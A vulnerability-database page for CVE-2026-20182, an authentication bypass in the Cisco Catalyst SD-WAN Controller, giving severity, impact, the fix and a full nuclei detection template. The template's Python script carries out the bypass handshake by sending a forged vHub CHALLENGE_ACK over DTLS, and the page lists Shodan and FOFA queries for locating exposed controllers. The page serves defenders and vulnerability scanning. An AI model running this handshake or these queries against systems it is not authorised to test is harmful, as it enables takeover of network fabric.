HexBrain

Browse / CVEs / CVE-2026-20182

CVE-2026-20182· cisco / catalyst sd-wan controller· CWE-287

Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-05-14; known to be used by ransomware.

criticalseverity
10CVSS score
91.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.

Impact

Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.

Fix

Update to the latest fixed version as per Cisco advisory.

How to confirm it

Positive when: contains "VULNERABLE:"

Run it with nuclei: nuclei -id CVE-2026-20182 -u <target>

The full check
id: CVE-2026-20182

info:
  name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
  author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
  severity: critical
  description: |
    Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
  remediation: |
    Update to the latest fixed version as per Cisco advisory.
  impact: |
    Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
    - https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
    - https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-20182
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-20182
    epss-score: 0.91817
    epss-percentile: 0.99818
    cwe-id: CWE-287
    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cisco
    product: catalyst_sd-wan_controller
    shodan-query: port:12346 product:"Cisco SD-WAN"
    fofa-query: port="12346" && product="Cisco SD-WAN"
  tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev

variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

code:
  - engine:
      - py
      - python3

    source: |
      import os
      import struct
      import socket
      import subprocess
      import time
      import select
      import secrets
      import tempfile
      import shutil

      MSG_HELLO         = 0x05
      MSG_CHALLENGE     = 0x08
      MSG_CHALLENGE_ACK = 0x09
      MSG_TEAR_DOWN     = 0x0B

      DEV_VHUB  = 2
      HDR_FLAGS = 0xA0
      DOMAIN_ID = 1
      SITE_ID   = 100

      MSG_NAMES = {
          0x05: "Hello",
          0x08: "CHALLENGE",
          0x09: "CHALLENGE_ACK",
          0x0B: "TEAR_DOWN",
          0x0D: "REGISTER_TO_VMANAGE",
          0x0E: "VMANAGE_TO_PEER",
      }

      def build_header(msg_type):
          byte0 = msg_type & 0x0F
          byte1 = (DEV_VHUB & 0x0F) << 4
          return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
                             DOMAIN_ID, SITE_ID)

      def hdr_msg_type(data):
          return data[0] & 0x0F if data else None

      def build_tlv(tlv_type, value):
          if isinstance(value, str):
              value = value.encode()
          return struct.pack(">HH", tlv_type, len(value)) + value

      def build_challenge_ack_body():
          uuid_str   = secrets.token_hex(16)
          server_key = secrets.token_hex(16)

          tlvs  = build_tlv(0x0013, struct.pack(">H", 0))
          tlvs += build_tlv(0x0014, struct.pack(">H", 1))
          tlvs += build_tlv(0x0018, struct.pack(">B", 1))
          tlvs += build_tlv(0x0019, struct.pack(">B", 0))
          tlvs += build_tlv(0x0006, uuid_str)
          tlvs += build_tlv(0x0032, server_key)

          body  = struct.pack(">BB", 0, 0)
          body += struct.pack(">B", 6)
          body += tlvs
          return body

      def build_hello_body(port):
          body  = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
          body += struct.pack(">H", 2)
          body += socket.inet_aton("127.0.0.1")
          body += struct.pack(">H", port)
          body += struct.pack(">I", 1)
          body += b"\x00" * 20
          body += struct.pack(">II", 10000, 60000)
          body += struct.pack(">B", 2)
          body += build_tlv(0x0021, struct.pack(">B", 0))
          body += build_tlv(0x0022, struct.pack(">B", 0))
          return body

      def generate_self_signed_cert():
          tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
          cert_path = os.path.join(tmpdir, "cert.pem")
          key_path  = os.path.join(tmpdir, "key.pem")

          result = subprocess.run(
              [
                  "openssl", "req", "-x509", "-newkey", "rsa:2048",
                  "-keyout", key_path,
                  "-out",    cert_path,
                  "-days",   "1",
                  "-nodes",
                  "-subj",   "/CN=nuclei/O=nuclei/C=US",
                  "-quiet",
              ],
              capture_output=True,
              timeout=15,
          )
          if result.returncode != 0:
              return None, None, tmpdir
          return cert_path, key_path, tmpdir

      def dtls_connect(host, port, cert_path, key_path):
          cmd = [
              "openssl", "s_client",
              "-dtls1_2",
              "-connect", f"{host}:{port}",
              "-cert",    cert_path,
              "-key",     key_path,
              "-no_ign_eof",
              "-quiet",
          ]
          return subprocess.Popen(
              cmd,
              stdin=subprocess.PIPE,
              stdout=subprocess.PIPE,
              stderr=subprocess.PIPE,
          )

      def wait_for_data(fd, timeout_sec):
          ready, _, _ = select.select([fd], [], [], timeout_sec)
          if not ready:
              return None
          try:
              data = os.read(fd.fileno(), 65536)
              return data if data else None
          except OSError:
              return None

      def send_message(proc, msg_type, body=b""):
          message = build_header(msg_type) + body
          try:
              proc.stdin.write(message)
              proc.stdin.flush()
              return True
          except (BrokenPipeError, OSError):
              return False

      def recv_message(proc, timeout_sec=10):
          data = wait_for_data(proc.stdout, timeout_sec)
          if not data or len(data) < 12:
              return None, None
          return data[:12], data[12:]

      def check_vulnerability(host, port):
          target = f"{host}:{port}"
          print(f"[*] Testing target: {target}")

          cert_path, key_path, tmpdir = generate_self_signed_cert()
          if not cert_path:
              print("[-] Certificate generation failed")
              return False

          proc = None
          try:
              proc = dtls_connect(host, port, cert_path, key_path)
              time.sleep(3)

              if proc.poll() is not None:
                  print("[-] DTLS handshake failed")
                  return False

              hdr, _ = recv_message(proc, timeout_sec=12)
              if hdr is None:
                  print("[-] No CHALLENGE received")
                  return False

              msg_type = hdr_msg_type(hdr)
              if msg_type != MSG_CHALLENGE:
                  name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
                  print(f"[-] Unexpected message type: {name}")
                  return False

              if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
                  print("[-] Failed to send CHALLENGE_ACK")
                  return False

              hdr, _ = recv_message(proc, timeout_sec=8)
              if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
                  print("[-] Server sent TEAR_DOWN — not vulnerable")
                  return False

              if not send_message(proc, MSG_HELLO, build_hello_body(port)):
                  print(f"VULNERABLE: {target}")
                  return True

              hdr, _ = recv_message(proc, timeout_sec=8)
              if hdr is not None:
                  msg_type = hdr_msg_type(hdr)
                  if msg_type == MSG_TEAR_DOWN:
                      print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
                      return False
                  print(f"VULNERABLE: {target}")
                  return True

              print(f"VULNERABLE: {target}")
              return True

          except subprocess.TimeoutExpired:
              print("[-] Operation timed out")
              return False
          except Exception as e:
              print(f"[-] Error: {e}")
              return False
          finally:
              if proc:
                  try:
                      proc.terminate()
                      proc.wait(timeout=3)
                  except Exception:
                      try:
                          proc.kill()
                      except Exception:
                          pass
              shutil.rmtree(tmpdir, ignore_errors=True)

      if __name__ == "__main__":
          host = os.getenv("Host")
          port = os.getenv("Port", "12346")

          if not host:
              print("Host environment variable not set")
              exit(1)

          try:
              port = int(port)
          except ValueError:
              port = 12346

          if check_vulnerability(host, port):
              print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
          else:
              print("Target appears to be patched or not Cisco SD-WAN vdaemon")

    matchers:
      - type: word
        words:
          - "VULNERABLE:"

References

Use this check only on systems you are authorised to test. Where the data comes from